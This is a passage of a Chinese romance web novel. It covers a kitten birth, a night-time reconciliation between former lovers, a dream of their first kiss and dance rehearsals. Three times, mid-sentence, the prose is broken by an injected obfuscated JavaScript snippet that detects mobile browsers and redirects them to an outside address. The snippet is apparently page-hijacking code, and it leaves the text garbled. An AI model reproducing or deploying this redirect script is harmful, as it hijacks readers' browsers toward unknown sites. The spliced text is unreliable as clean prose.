可转念一想,房间里面的女生很可能面临危及到生命的问题,她此时也顾不上思考太多,硬着头皮往卧室走去,同时询问沈临枫:“需要我打急救电话吗?” “什么?”沈临枫愣了下,“不用,我们做辅助工作就好,它自己能处理。” 连麻醉都不打,该有多痛?奈然满脸不赞成地看着他:“你怎么能让她自己……” 一边说着,一边走进了卧室里面,她终于看清房间里面的所有光景。 没有她想象中正濒临痛苦的怀孕女性,而是一只鼓着肚子的小猫,正费力地抬起脑袋,好奇地盯着自己瞧。 “……处理。”奈然呆滞地说完下半句,全然忘了自己进来要做什么。 沈临枫觉得她应该是误会了什么,但眼下没时间去解释,他注意到酥酥的腹部开始收缩得更加剧烈,四肢颤动,发出嘶哑的叫声。 “然然,我去接盆热水过来,麻烦你在这里看一下好吗,有什么事情就喊我。” 奈然迅速从震惊中反应过来,飞快地点点头:“你去吧,别太着急。” 等沈临枫走出房间,奈然才将目光放在躺着的小猫身上,她放轻脚步,来到飘窗旁边蹲了下来,想起沈临枫刚才的话,轻声唤着:“酥酥,痛吗?别怕……” 听到自己的名字,酥酥软软地叫了一声,由于剧烈的宫缩,让她没有力气再动作。 看着它难受的模样,奈然十分担忧,频频看向门外,等待沈临枫回来。 同时,她的心里那块压着的石头消失无踪,俨然生出几分庆幸。 幸好,他果然还是他。 14. 选择 知道酥酥怀孕把他领回来后,沈临枫特意去了解了许多母猫生产时所需要做的准备,尽管如此,真正到了这时候,难免还是会觉得手足无措。 母猫在生产时会产生体温波动,为保持温度,他将热水袋灌上热水,放在它的旁边,将事先买好的罐头温在碗中,让酥酥能及时进食保持体力。 他给奈然和自己一人找来一张板凳,一左一右坐在酥酥的旁边,为了不打搅它,默契的没有说话,耐心的等待。 令人心急如焚的几分钟后,在酥酥的努力之下,小猫崽终于露出了头。 奈然欣喜地睁大了双眼,看向身旁的沈临枫,发现对方正巧也看了过来,给予自己一个安定的眼神。 他的目光似乎有着难以言说的魔力,奈然的心渐渐平静下来,不知不觉眼中充满了期待。 她从小就很喜欢各种小动物,可惜因为闲暇的时间太少,她没有养过任何宠物。 又过了将近十分钟的时间,第一只小猫崽终于完全出来,酥酥努力低下头,咬断了脐带,舔舐着小猫的身体。 刚生出的小猫浑身肉乎乎的,不过巴掌大小,浑身覆着一层绒毛,不足以完全这遮盖住皮肤,呈现出肉肉的粉色。 作为一个新晋母亲,酥酥尽职尽责,将小猫崽浑身上下残留的羊水清理干净。 沈临枫小心翼翼把小猫崽挪到酥酥身前,拿来温好的罐头和水,给消耗了不少体力的酥酥吃。 酥酥精神状态还算不错,抬起头吃了许多。 等待第二胎出生的时候,出门的穆淼淼和周彦泽回来,奈然主动出去交代事情了的缘由,让他们可以先回学校,自己留下帮忙。 周彦泽在宿舍的床褥和被子还没有拿完,打算等明天全部带过来一起收拾,正好送穆淼淼回宿舍。 临走时,穆淼淼不放心地问了一句:“奈奈,你自己在这里,没问题吧?要不要我和你一起?” 奈然摇头:“没事的。” “那……那我们走咯,有什么事情你给我打电话。” 知道她是出于关心,奈然笑了起来:“你就放心吧,” 等他们走后,奈然又回到房间陪沈临枫一起等待。 生产的时间不光对于母猫来说漫长,对他们来说同样难熬,尤其是第三胎之后,酥酥的状态明显下降,体力透支让小猫崽的生产过程变慢,从一开始的十分钟到将近二十分钟。 到了第五胎,这次的小猫崽明显比之前四只个头更小,中间卡了有十几分钟的时间,才慢慢从产道完全滑出。 酥酥甚至没有力气扭头去舔小猫崽身上的羊水和分泌物。 考虑到浑身湿润会导致体温下降,沈临枫不得不出手干预,用面巾纸轻轻擦拭小猫崽身上的分泌物,擦干后放回酥酥身边。 恢复了一些力气的酥酥象征性地舔了几下,又重新躺了回去。 他的动作认真而仔细,仿佛手里是什么稀世珍贵的易碎品,目光专注,却又不自觉闪过一丝紧张。 直到将小猫崽放下后,它凭借着本能找到母乳嘬吸,沈临枫和奈然紧绷着的心才堪堪落下。 又过了十分钟的时间,酥酥开始舔舐清理产道,不再难受的用力,表示所有的小猫崽都已经顺利产出。 沈临枫和奈然替换了新的干净棉垫,处理好残留的物品,等到所有小猫都开始吃上奶后,才算结束这一场惊险的接生工作。 奈然看着安静喂奶的酥酥,情不自禁感概道:“好厉害……” “嗯,它很伟大。”沈临枫垂眼,用手指挠了挠酥酥的下巴安抚它,“我遇见它的时候,就在努力保护自己的孩子。” “它是你捡到的吗?” 沈临枫点头,把初见酥酥的经历告诉奈然,接着讲道:“后来,我回来的时候又一次遇到它,比第一次见到的时候肚子更加明显,为了躲避发情的公猫,它藏在楼道里的楼梯下面,可能是这里经过的人多,其他流浪猫不敢过来,只能趁晚上别的猫不在出去觅食,刚好我回来的时间比较晚,所以能碰见它。” 奈然了然:“它在很努力的活下去呢。” “嗯,它怀孕了,外面流浪的公猫太多,我就把它带回家了,它很乖,也很亲人。”望着刚出生的五只小猫,沈临枫的眼神颇为柔和,“没想到竟然有五只,过程一定很辛苦。” 看着他的脸,奈然心中蓦然酸涩,说不清道不明的感觉:“你很喜欢小孩子吗?” “什么?”沈临枫惊讶地看过来,对她突如其来的问题有些不解,但还是如实回答:“我确实挺喜欢的。” 奈然的目光陡然黯淡了许多,喃喃自语:“是吗……” 果然,她给不了沈临枫需要的东西,哪怕这是寻常认知中最基本的事情。 “但喜欢并不代表必须拥有。”沈临枫说道,“喜欢不是非黑即白,就像我可能喜欢偶尔的热闹,也会喜欢独自悠闲的安静,这不相悖。” 奈然点点头,故作若无其事地说:“时间也不早了,你休息吧,我先回去了。” 说罢,她站起身,长时间的集中精神让她有些疲惫,拿出手机看了一眼时间,不知不觉竟已然进入深夜。 “我得走了,宿舍马上就要关门了。” 眼看还剩不到半个小时,奈然有些急,和沈临枫匆忙道别:“我先……” “等等。”沈临枫叫住她,扯过衣架上的外衣套在身上,架着拐杖两三步追了过来“我送你。” 奈然想说没必要,这离学校大门也就十分钟的距离,再说沈临枫的腿也不方便上下楼。 可对上沈临枫的眼睛,拒绝的话怎么都说不出口。 她只得答应。 秋夜风重,吹得梧桐树叶沙沙作响,飘荡着从枝头掉落,撒了满地。 奈然被迫穿上沈临枫找出来的大衣,与他并肩走在街道上,考虑到他的伤,有意放慢了步速。 尽管现在还必须用拐杖协助走路,沈临枫却有条不紊,丝毫不显狼狈。 奈然的目光不经意间扫过沈临枫碎发下白皙的后颈,脖子往衣领里面缩了缩,嗅到一股好闻的淡香,和沈临枫身上的气息相似,像是洒着暖阳的茶园,温暖清甜。 她情不自禁深深吸了一口气,被这久违的气息所包围,不安的心奇迹般平静下来。 安静的街道让他们彼此的声音变得愈加清晰。 “那些小猫,你要怎么办?”奈然问。 “看看能不能找到领养家庭,我这段时间不用去学校,有空处理这件事。” 奈然瞄了他一眼:“看来研究生生活很清闲啊?” 沈临枫笑道:“和你相比,确实没有那么多事情,刚结束迎新晚会,现在是准备校庆上的表演吗?” 闻言,奈然叹了一口气,想想都觉得头痛:“都不一定能上场了,白练习这么长时……等等,你怎么知道这些的?” 她总算是发现了哪里不对劲。 从这周到今天,不算那次药店的相遇,他们拢共才见了两面,沈临枫怎么好像对自己的生活了如指掌? 她可从没告诉过自己参加了新生晚会和校庆的事情。 被抓住现行的沈临枫愣住几秒,才反应过来自己说漏了嘴。 他完全不擅长撒谎,犹豫片刻后,老老实实交代了事情经过:“你们学校举行新生晚会的时候,我去看了。” 奈然幽幽盯着他:“看不出来,你还挺积极的嘛。” 他们学校举行的活动经常会吸引许多校外的人来看,原因无外乎一个——这里的学生大多数拥有出众的颜值。 尤其是外校的学生,奈然就经常收到陌生人的好友申请,不知道他们从哪里搞来的号码。 沈临枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15035097|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生怕她误会什么,解释道:“我在公布出来的节目单里面看到了你们专业,想着你有可能会参加,所以才去碰碰运气。” 他说的话有些直白,奈然脸上一热,努力回想新生晚会那天自己在台上究竟有没有出丑。 像是看出了她心中所想,沈临枫眼中盛满了笑意,替她说出了答案:“那天你穿了一身黑色的裙子,特别漂亮。” “所以,是我漂亮还是裙子漂亮?” “必须要选一个吗?”沈临枫反问。 奈然扬起眉毛:“难道你选不出来?” 沈临枫低低笑了两声:“裙子漂亮。” 奈然眉头一蹙,佯装生气:“沈临枫!” “穿着裙子的你更漂亮。” 这句话带着如假包换的真心,让周围的夜色都变得黏稠。 奈然忽然停下脚步,等沈临枫有些疑惑地转过头,与他目光交汇。 她的神色前所未有的认真,一字一句道:“沈临枫,你……生我的气吗?” 这个问题她想了两年,也在意了整整两年。 因为她的逃避,让无辜的沈临枫承受了相同的后果。 她觉得沈临枫一定会讨厌自己,甚至是记恨自己。换位思考,谁都不想被这样不明不白的分手。 可他那天什么也没说,只是趁她离开后独自站在原地流泪。 每当回想起沈临枫哭泣的脸,奈然就自责到了极点,懊恼自己为什么不用更好的方式去结束这段关系。 明明沈临枫是那么温柔的一个人,自己却用最残忍的方式去对待他,还自欺欺人地认为是对他好。 人的内心都是矛盾的,她一边希望沈临枫忘掉,一边又不想他忘掉。 就算经过了两年的时间,如此深深的懊悔也只是被她埋藏在了心里,并没有随着时间消减。 她不是傻子,沈临枫为什么执意考到云工大、又为什么默默去看新生晚会,答案不是很明显了吗? 他究竟克服了多少困难,才造就了这次的“偶然”相遇? 奈然不知道,但她清楚自己此时的心境早已与两年前不同。 这一次,她不会再违背自己的内心。 沈临枫转过身,与奈然面对面站立,对于她的问题,沉默着垂下了眼眸,看起来有些落寞。 见状,奈然心中一紧,开始后悔自己为什么要明知故问。 她接着说:“就算你生我的气也没关……” 话说到一半,奈然看到沈临枫轻轻摇了摇头。 他脸上依然保持着浅浅的笑容,却带着苦涩:“当时,我是有些生气。” 奈然抿起唇,像是等待着他的审判。 “我生气的是,你什么都不愿意说,其实无论什么事,都可以告诉我的,就算是你已经不喜欢我,我也能接受。” 奈然忍不住开口:“抱歉,我不是……” 她想说她怎么可能不喜欢他,相反,就是因为太喜欢,才舍不得继续下去伤害他。 那时候的奈然刚发现自己的问题,既害怕又焦虑,一边觉得自己不正常,一边又难以克服心理和生理上的抵触心理。 结果就是她决定长痛不如短痛,干脆狠心断掉萌芽不久的感情。 沈临枫打断了她的解释:“但我不怪你,因为那时候的你看起来比我更难过。” 他看向奈然怔愣的眼睛:“因为一些我不知道的原因,你很痛苦,所以选择独自承担。奈然,你完全不用道歉,更不要觉得愧疚,那只是你的选择,而不是你的错误。” 他的眼神清澈而坚定:“同样,我来到这里,也是我自己的选择,不是为了让你道歉。” 奈然动了动唇,却发不出任何声音。 沈临枫无意逼她现在就回答,转过身道:“不用着急,我会等你,直到你愿意告诉我一切。” 15. 梦境 凉丝丝的夜风拂过沈临枫的额发,吹乱了他的发梢。 “走吧。”他说,“很晚了,早些回去休息。” 奈然点头,毫不犹豫跟了上去。 执意把奈然送到宿舍楼下后,沈临枫才停住步伐。 瞄了一眼他杵着拐杖的右手,奈然伸进衣兜里的手指暗自摩挲着:“衣服我先帮你拿着吧,下次洗干净还给你。” “好。” “那……我先上去了,你也早点回去吧。” “嗯。” 奈然朝他摆摆手,扭头走向宿舍大门。 进门前,她忍不住回头看了一眼。 沈临枫果然还站在原地,见她看过来,对她露出一个笑容,忽然开口:“还有一件事情……” “什么?”奈然立即回应。 “明天可不可以回我消息?”沈临枫拿出手机,放在手里晃了晃。 闻言,奈然难得有些尴尬,眨了眨眼睛,留下一句“我知道了”立刻进了门。 随着玻璃门合上,外面的风声被阻隔开来,周围陷入独属于深夜的静谧。 拐入楼梯前,奈然朝外面瞧了最后一眼。 深沉夜色中,静立着的修长身影格外显眼。 奈然别过头,一口气跑上了楼。 站在宿舍门前,胸腔内的心跳声震耳欲聋,不知是因为爬楼还是别的什么,总之久久难以平复。 她深呼吸一口气,见宿舍的灯已经关掉,刷卡轻声推开门,再小心翼翼地关上,蹑手蹑脚走了进去。 全程安静洗漱整理好后,奈然躺到床上,第一件事就是拿出手机,在一众消息列表里找到沈临枫的账号。 点开被她刻意忽略的未读消息,一眼便看到了沈临枫发来的照片。 一句天气真好,配上一张拍摄的图片,任谁看都觉得是十分刻意的搭话。 可奈然却觉得很可爱,想象着沈临枫发消息时苦苦思考的模样,奈然忍不住扬起嘴角,在屏幕上敲下几个字。 然:到家了吗? 对面几乎是秒回。 哥哥:刚到,怎么还没睡? 然:正准备睡了。 沈临枫发来一个晚安的表情。 哥哥:晚安。 然:嗯,晚安。 奈然放下手机,心满意足地闭上眼睛。 五分钟后,黑暗之中再次亮起莹白色的光,不到半分钟的时间,又重新熄灭。 另一边的沈临枫简单洗过澡,从浴室出来后,第一时间拿起手机,就看到奈然半个小前新发来的消息,不禁露出会心的笑意。 然然:哥哥 然然:谢谢你。 * 奈然难得的做了一个梦。 梦中的她回到了刚过十八岁生日的第二个月,也是她和沈临枫真正交往的第一个月。 尽管只是两天的普通周末,沈临枫依然从曙海市连夜赶了回来,为了和她短暂的见面。 结束一整天练习的她回到家里,谎称出门拿快递偷偷溜了出来,跑到楼下敲响了沈临枫家的门。 由于工作的性质,除非逢年过节,沈临枫的父母不怎么在家里常住,经常是他独自在家,自然也就省了很多麻烦。 自从上次确定关系之后,她和沈临枫已经有将近一个月的时间没有见面,这对于刚刚开始交往的青春期少女来说相当难熬,她恨不得每天晚上都和沈临枫腻在一起。 门很快被打开,沈临枫像是知道她要过来,表情丝毫不意外,笑着说道:“怎么这么快?” 奈然撇撇嘴,故作生气:“哪有嫌快的,难道你不想早点见到我吗?” “没有。”沈临枫握住她的手腕,轻轻用力将她拉了进来,关上了门:“今天练舞很累吧?我带了雪花糕,是曙海市那边的特产,你要不要尝一尝?” “没听说过呢。”奈然刚起了好奇心,没两秒突然泄了气,郁闷地靠在沈临枫肩膀上诉苦:“但最近必须要保持体重,不能吃了。” 沈临枫低头看着她,有些心疼地说:“可你已经很瘦了,还要继续减重吗?” “没办法,毕竟是考试要求嘛,不过等艺考结束了,就可以稍微放纵一下了。”奈然双手圈住沈临枫的腰,仰起头眨巴着眼睛:“等高考结束了,我们一起出去玩怎么样?我好想去海边。” “好。”沈临枫点头,“你想去哪里都可以。” 奈然却突然不讲话了,保持着这样略显亲密的姿势盯着他瞧。 二十岁的沈临枫稍稍褪去了少年的稚气,展现出逐渐成熟的一面,但眉眼依旧明朗,笑起来令人如沐春风。 他的眉骨偏高,鼻梁笔挺,但睫毛又很长,嘴唇覆着淡淡的粉,中和了眉宇之间的英气,温润如玉的长相。 或许是有私人情感在作祟,奈然怎么看都觉得好看,甚至越看越喜欢。 尤其是在自己目光下,那肉眼可见渐渐红了的耳尖,让他看起来更好欺负了。 “怎么了?是我脸上沾什么东西了吗?”沈临枫被她目不转睛的视线盯得有些难为情,忍不住偏了偏头,用手挡住下半张脸。 虽说他比奈然大了两岁,可在感情方面,他们两个一样毫无经验,情窦初开的年纪充满了青涩,不知道该如何表达对彼此满心的喜欢。 奈然莫名感觉到口渴,身体里有一种奇妙的冲动似乎要破土而出。 在沈临枫面前,她向来不需要拐弯抹角。 “哥哥,我们要不要试试?” 闻言,沈临枫微微睁大了双眼:“试、试什么?” 见他一副茫然的模样,奈然反而消去了内心的那点羞涩,理所当然道:“接吻啊,我们已经在一起了,这种事情不是很正常嘛。” 在她说完这句话后,沈临枫耳朵尖上的红色逐渐蔓延到整张脸,向来游刃有余的他罕见地失了声音,半天没有回答。 奈然却不想放过他,坚持追问:“难道你不愿意吗?” 望着奈然的眼睛,沈临枫怎么也讲不出违心的话,自暴自弃地说道:“没有不愿意……” “和喜欢的人想要更亲近,这不是很正常的事情吗。”奈然面色坦然,“所以没什么好避讳的,哥哥你有什么想法的话,也都可以跟我讲,如果你现在还不想,那我就不提这件事了。” 她一番话说得发自内心,让沈临枫不得不对这件事重视起来。 要说一点想法都没有,那是骗人的,他毕竟是正常的男性,只是觉得奈然年龄比自己小,这种事情不能随心所欲。 再拒绝下去恐怕会让奈然伤心,沈临枫深吸一口气,双手握住奈然的肩膀,与她拉开了一点距离,低头询问:“你……确定吗?” 奈然轻轻扬起头:“不要太用力哦。” 沈临枫抿了抿唇,看起来比她要紧张多了。 奈然闭上眼睛,感觉到肩膀上的手微微用力,似乎在给他自己打气。 下一秒,唇面贴上一股温暖的触感,像是蹭到了天空中的云朵。又像是羽毛拂过,带来令人心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15038697|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动的柔软。 奈然忍不住睁开了眼睛,看到沈临枫近在咫尺颤动的眼睫。 还没来得及欣赏,蜻蜓点水般的吻便结束了。 不够,奈然心想。 虽然心里面确实有种酥酥麻麻的感觉,但远远不够。 她想要的,比这还要多得多。 于是,在沈临枫直起身子准备开口的时候,她上前一步,双手捧住沈临枫的两颊。 用力地、狠狠地亲了上去。 沈临枫猝不及防睁大了双眼,呆滞着忘了动作。 他不反抗,奈然自然会得寸进尺,捧住他脸颊的手逐渐转移到他的脑后,固定住不让他向后退。 果然,掌握了主动权的感觉和刚才截然不同,那种奇妙的感觉几乎奔涌到四肢百骸,燃烧着她的理智。 奈然无端想起分别那天沈临枫默默流泪的模样。 想看他因自己而哭泣,但不希望是因为悲伤。 后面的想法她无心再兼顾,面前的沈临枫正放任她为所欲为,对她强势的行为毫不反抗,极大地满足了她蠢蠢欲动的内心。 让她忍不住想要再过分一些。 可惜她也是第一次接吻,根本就不懂什么章法技巧,最大的限度就是轻轻咬住沈临枫的下唇。 他的嘴唇出乎意料的柔软,像是在咬着一块棉花糖,让人忍不住细细品尝。 可能是被她咬的有些痛,沈临枫下意识向后退了一步。 他退一步,奈然就向前追一步。 沈临枫背后恰好是紧闭着的大门,没两步就被奈然抵在了门板上退无可退。 他的发质偏软,奈然的手指插进蓬松的发丝间,被清凉顺滑的手感所吸引,不知不觉缓缓收拢了五指,直到听见沈临枫吃痛时轻微的抽气声,才蓦然清醒过来。 意识到自己做了什么,她慌张地松开手,想解释什么,抬眸对上沈临枫湿润的双眼,脑袋一空,完全忘记了接下来要说的话。 沈临枫一无所觉地靠在门前,胸膛不断起伏,低低喘息着,从脖颈到额头红了个彻底,下唇和眼尾的颜色尤其鲜艳,一副狼狈不已的模样。 奈然无意识间舔了舔唇,回味着刚才的感觉。 很……特别,是从没体会到的新奇体验,非但不讨厌,甚至叫她有些上瘾。 正当她盯着沈临枫鬼使神差地想再次伸出手时,忽然听到了不属于他们两个任何一个人的声音。 “奈奈……” 这声音越来越清晰。 “奈奈!” 奈然猛地睁开眼,被刺目的光线晃了视线,拧眉眯起眼睛,整个人还没从虚构的梦境中缓过神来。 耳畔响起穆淼淼惊讶的声音:“你今天居然睡到这么晚?昨天晚上熬夜了吗,我都不知道你几点回来的。” “昨天晚上十一点多回来的。”奈然坐起身,揉了揉惺忪的眼睛,“现在几点了?” “快八点了。”穆淼淼指了指自己的手机,“杨老师让我们九点去教室集合呢,奈奈你快准备一下吧。” “好。”奈然点点头。 等穆淼淼从她的床前离开,奈然对着面前的空气两眼放空。 一分钟后,她用双手猛然捂住脸,简直想立马找个地缝钻进去。 梦的前半部分勉强还算正常,甚至和曾经真实发生过的经历相差无几。 可是……后半部分完全就是她自己潜意识编造出来的内容。 她究竟,在梦里对沈临枫都做了什么啊! 16. 约见 休息了两天重新开始排练,每个人的状态明显好了许多,滔滔不绝分享着这两天去哪里玩了什么,只有奈然恰恰相反,就连热身都没了平日里的认真,神思不属地盯着虚空中的某一点发呆。 穆淼淼将她的反常尽收眼中,以为她是担心被换下角色,心里面担忧,可又不知道如何安慰。 不过今天并没有在教室里看到秦诗宁的身影,这是不是代表着她不会来了? 穆淼淼悬着的心好不容易放下,又在奈然突然伸手拍上自己肩膀时瞬间提起。 “啊!”穆淼淼浑身一震,吓了一跳:“不要吓我啊,奈奈!” “抱歉。”奈然随口道了歉,“小水,问你一件事。” “什么事?” 奈然把脑海中构思好的措辞一一讲出:“假如,有一个异性……” 听到自己感兴趣的话题,穆淼淼一双眼睛顿时发出精光,不等她说完,迫不及待地问道:“什么异性?帅不帅?是谁?” “这些不重要,你先听我说完。” “你说你说!”穆淼淼小鸡啄米似的点头,对着自己的嘴巴做出拉拉链的动作,表示不会再插嘴。 “你曾经喜欢他,但现在并不是太确定,因为你们两个分开了很长一段时间,然后……” 说到重点部分,奈然吸了一口气,终于把困扰再心中的问题说了出来:“按理说相互喜欢,会忍不住靠近对方,可你却很抵触,甚至是讨厌发生关系,这是为什么?” “很简单啊。”穆淼淼信心满满地回答,“柏拉图式恋爱嘛,虽然我从来没见过,不过肯定是有这样的人存在的。” 奈然揪着眉头:“不一样。” “哪里不一样?” 回想起梦里的场景,奈然面上发热:“反正就是不太一样。” 穆淼淼一脸茫然:“那是什么?” 自己要是真知道原因,就不会问她了,奈然无奈地叹了口气,轻轻捏了捏她的肩膀:“没什么,可能是我多想了。” 连她自己都想不明白的事情,心思单纯的穆淼淼就更不可能知道了。 在她们说话的间隙,舞蹈教室的门被推开,杨梦走了进来,第一时间去寻找奈然的身影。 见她状态还好,不禁松了一口气。拍拍手集中所有人的注意。 “休息了两天,大家感觉怎么样?” “很好!” “还想再休息两天!” 杨梦笑眯眯开口:“那我们今天多练两个小时怎么样?” 此话一出,刚才兴奋的学生们顿时偃旗息鼓,乖乖各自拉伸热身。 奈然见杨梦朝自己招了招手,和身边的穆淼淼说了一声后便走了过去。 猜到杨梦大概是要跟自己说换人的事情,奈然的心态超乎寻常的平静。 既然已经如愿努力过,结果其实也没那么重要了,无论她能不能上场,她都能接受。 因此,在听到杨梦笑着说她还能继续排练时,奈然的表情并没有太大的变化。 “怎么,你看起来很平静,已经猜到这个结果了?” 奈然摇头,笑了起来:“什么结果我都能接受,不过这是个好消息。” “对了,还有另外一个消息。”杨梦的神情认真起来,“魏丰被换掉了,由一年级的高晨睿来饰演齐格弗尔德的角色,这是教委组临时的决定,所以时间比较急,你们两个最近一周可能需要多花时间磨合一下。” 这回奈然是真的惊讶了:“魏丰他被换掉了吗?” “嗯,本来他的表现就模棱两可,再加上排练的时候失误造成你受伤。”杨梦压低了声音:“其实他才是老师们一致认为最不稳定的因素,但由于一直没有合适的替换人选,才不得已选了他,这两天经过教委组老师们的讨论,有了这个决定,我已经通知过他了。” 没想到居然还会有这种好事情,奈然忍住想要上扬的嘴角,故作平静点头:“我知道了,最后这一周我会抓紧时间排练的。” “手臂还好吧?合排你可以先不用参与,和高晨睿练习双人部分就好。” “好的。” 等奈然回到教室,果然看到了一张新面孔,刚才只顾着想其他的事情,完全没注意到魏丰根本没有来参加排练。 而对方似乎一直也在关注着她,在她看过去的同时笑了笑,脸上冒出两个浅浅的酒窝。 奈然对他的热情有些不解,点了点头算是回应。 开始今天的排练之前,杨梦把魏丰被换掉的这一消息同样告诉了其他参与表演的同学,引起一片哗然。 穆淼淼一副大仇得报的表情:“老天有眼,总算把那个小肚鸡肠的人撵走了!” 尽管整个剧目的人员一直在变动,但每个能参演剧目的学生都是同专业里最优秀的一批,很快就能适应这种变化,剧目排练依然有序进行。 结束第一遍合排后,奈然揉了揉胳膊,疼痛的程度比两天前好了许多,至少不会再妨碍她将动作做到最标准。 与她第一次配合的高晨睿技巧稍逊,但表现可圈可点,是用心在对待跳舞。 这减少了奈然额外的烦恼,起码不用担心自己又被对方的“失误”扔到地上。 看来沈临枫的按摩相当管用,要不要用以这个借口再去找他服务一下呢? 一想到他,奈然的心情如拨云见日般晴朗了起来,开始盘算着要怎么开口提这件事。 今天上午只走了三遍双人舞的部分,结束排练时奈然甚至感觉没怎么消耗体力,但微微发麻的左臂提醒她差不多已经到了极限,需要休息让拉伤的肌肉有时间恢复。 排练结束后,奈然特意打开手机瞧了一眼,如愿收到了来自沈临枫的消息。 哥哥:今天也休息了吗?中午要不要来我这里吃饭,我买了很多菜。 然:刚排练结束,你要做什么吃? 哥哥:你想吃什么? 然:还可以点菜?什么都可以? 沈临枫发来一个带着墨镜耍酷的表情。 哥哥:当然。 奈然一边在手机上敲着字,一边努力压住翘起来的嘴角。 然:那我要喝豆腐汤。 哥哥:收到[敬礼][敬礼] 看到他发来的内容,奈然忍不住笑出了声。 “笑什么呢,这么开心?” 奈然瞬间正色,抬头看向满脸好奇的穆淼淼,轻咳一声说道:“没什么。” 穆淼淼目光幽幽:“奈奈,你今天很奇怪哎?” “有吗?”奈然故作无知,试图转移话题:“你中午去哪里吃饭?” 心思单纯的穆淼淼立刻被转移了注意力:“哦对了,今天我要出去吃,不能陪你一起吃饭了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15049703|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没事,你去吃吧,我正好也要出去一趟。”这个回答正中奈然下怀。 “那正好耶,我们可以一起出学校。” “好。”奈然欣然答应了这个提议。 目标达成一致后,她们决定先回宿舍放练功服,顺便换一身衣服。 穆淼淼对着两种不一样的耳钉发愁,难以抉择今天到底戴哪一个时,打算询问奈然的意见,抬头看到对方后眼睛一亮,不由自主地发出惊叹:“天哪,你今天穿得好漂亮!” 以往奈然除了约好出去玩,或者参与学校里的重要活动时会特意打扮一番,其余时间基本都偏好轻装便服,偶尔会涂个淡色的唇膏,以简约为主。 可今天不知怎么,她换上一条紧身的黑色短款连衣裙,领口点缀着精致碎钻闪闪发亮,下面穿着同样颜色的雾面长筒靴,让她原本就惹眼的身高愈发高挑,平日里总是扎起来的头发如墨般散开来直至胸前,泛出莹莹的柔滑光泽。 奈然套上最外面的呢子大衣,转眼瞧见穆淼淼不停地打量着自己:“怎么了,你已经收拾好了吗?” 谁知穆淼淼突然一个箭步扑了过来,抱住奈然的手臂小狗似的左闻右闻,震惊到合不拢嘴:“你还喷了香水!YSL的黑鸦/片!” “这你都闻得出来?” “那当然。”穆淼淼挺起胸膛,骄傲地讲:“我可是香水博士!只要是……跑题了!” 她紧急撤回一段自夸,视线灼灼盯着奈然:“有情况?快说,穿得这么好看,这么性感!要去见谁?” 奈然笑眯眯地回答:“秘、密。” 穆淼淼捶胸顿足:“可恶,到底是哪个大猪蹄子!连我都没有这样的待遇!” 怀着满心的好奇,穆淼淼一路上左顾右盼,生怕错过什么,可惜一路上根本没发现可疑的目标。 来到校门外,她指了指马路对面的方向:“我要往那边走,奈奈你呢?” “哦,我也是。” 五分钟后,穆淼淼站在小区门口,呆呆地看着奈然:“你也要进去吗?” 奈然点头,比她先意识到了什么:“你找你男朋友吃饭?” 完蛋,她怎么忘了这一茬,沈临枫现在和穆淼淼的男朋友一起合租。 看来今天是没法糊弄过去了。 见她露出有些难办的表情,穆淼淼瞪大了眼睛,语气颤抖:“难、难道……你也找他吃饭?” 说出这句话的时候,穆淼淼内心浮现出各种各样的画面。 天杀的周彦泽,居然、居然背着她找奈然吃饭!难道他们两个…… 不可能!奈然怎么可能会看得上他!? 莫非他们两个是想给自己一个惊喜,可今天也不是她生日啊…… 看着穆淼淼的表情时阴时晴,奈然猜到她肯定又在脑补什么,哭笑不得:“我不是来找他的,你别瞎想。” 眼泪都快要飙出来的穆淼淼一呆:“啊?” 奈然轻咳一声,莫名有些难为情:“我找沈临枫。” “我就说嘛……”穆淼淼抚着胸口长舒一口气,“你怎么会看得上——你说什么!?” 虽然昨天晚上她看他们两个之间微妙的态度,冥冥之中猜到了点什么,可真正听到奈然证实了自己的猜想时,依然觉得不可思议。 自己随口的拉郎配,居然真的应验了!? 17. 香味 来到楼栋门口,姗姗来迟的周彦泽才说着抱歉接手了晕晕乎乎的穆淼淼,还不忘对奈然说:“你来找沈哥?他正在厨房忙活呢,不知道做的什么饭,老香了,要不是我已经在餐厅订好了位置,说什么也要蹭一顿吃。” 他没像穆淼淼那样往深处想,只认为奈然和沈临枫就是认识的朋友,随口提了一句后便带着穆淼淼离开。 这让奈然对中午这顿饭的期待值又提高了不少。 她已经很久很久没有吃过沈临枫亲手做的饭菜了。 初高中的时候,沈临枫的父母经常不在家,他就会自己买菜回来做,这项技能早已熟练于心。 他似乎对什么事情都很擅长,但凡他想去做好的事情,就没有半途而废的结果,厨艺同样也是,平心而论,沈临枫的厨艺甚至比大部分食堂厨师还要好。 或许这其中有她的个人原因,因为沈临枫总是按照她的喜好去研究食谱。 